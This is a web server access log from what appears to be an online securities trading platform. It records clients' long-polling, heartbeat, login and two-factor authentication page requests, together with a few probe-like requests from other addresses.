[09/Jan/2026:10:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925967867 HTTP/1.1" -
[09/Jan/2026:10:28:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925972293 HTTP/1.1" -
[09/Jan/2026:10:28:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:28:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:28:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:28:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:28:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925972886 HTTP/1.1" -
[09/Jan/2026:10:28:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:28:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:28:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925977477 HTTP/1.1" -
[09/Jan/2026:10:28:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925977935 HTTP/1.1" -
[09/Jan/2026:10:28:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925982526 HTTP/1.1" -
[09/Jan/2026:10:28:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925982963 HTTP/1.1" -
[09/Jan/2026:10:28:34 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:10:28:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925987723 HTTP/1.1" -
[09/Jan/2026:10:28:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925988019 HTTP/1.1" -
[09/Jan/2026:10:28:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925992862 HTTP/1.1" -
[09/Jan/2026:10:28:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925993069 HTTP/1.1" -
[09/Jan/2026:10:28:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925998012 HTTP/1.1" -
[09/Jan/2026:10:28:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:28:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:28:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925998117 HTTP/1.1" -
[09/Jan/2026:10:28:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:28:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:28:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:28:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:28:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926003161 HTTP/1.1" -
[09/Jan/2026:10:28:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926003146 HTTP/1.1" -
[09/Jan/2026:10:28:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:28:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:28:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926008223 HTTP/1.1" -
[09/Jan/2026:10:28:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926008167 HTTP/1.1" -
[09/Jan/2026:10:29:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926013300 HTTP/1.1" -
[09/Jan/2026:10:29:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926013206 HTTP/1.1" -
[09/Jan/2026:10:29:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926018450 HTTP/1.1" -
[09/Jan/2026:10:29:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926018248 HTTP/1.1" -
[09/Jan/2026:10:29:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926023671 HTTP/1.1" -
[09/Jan/2026:10:29:12 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767926012567 HTTP/1.1" 3188
[09/Jan/2026:10:29:13 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:10:29:14 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:10:29:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926023288 HTTP/1.1" -
[09/Jan/2026:10:29:15 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:10:29:15 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:10:29:15 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:10:29:15 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:29:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:29:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926028815 HTTP/1.1" -
[09/Jan/2026:10:29:15 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 458
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767926016334 HTTP/1.1" 3188
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:29:17 +0800] 180.163.29.219 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:29:17 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:10:29:18 +0800] 180.163.29.103 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:10:29:18 +0800] 180.163.29.103 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:10:29:18 +0800] 180.163.29.219 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:10:29:18 +0800] 180.163.30.27 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:10:29:18 +0800] 180.163.29.79 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:10:29:18 +0800] 180.163.29.79 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:10:29:18 +0800] 180.163.28.114 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:10:29:18 +0800] 180.163.29.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:10:29:18 +0800] 180.163.29.234 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:10:29:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926028323 HTTP/1.1" -
[09/Jan/2026:10:29:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
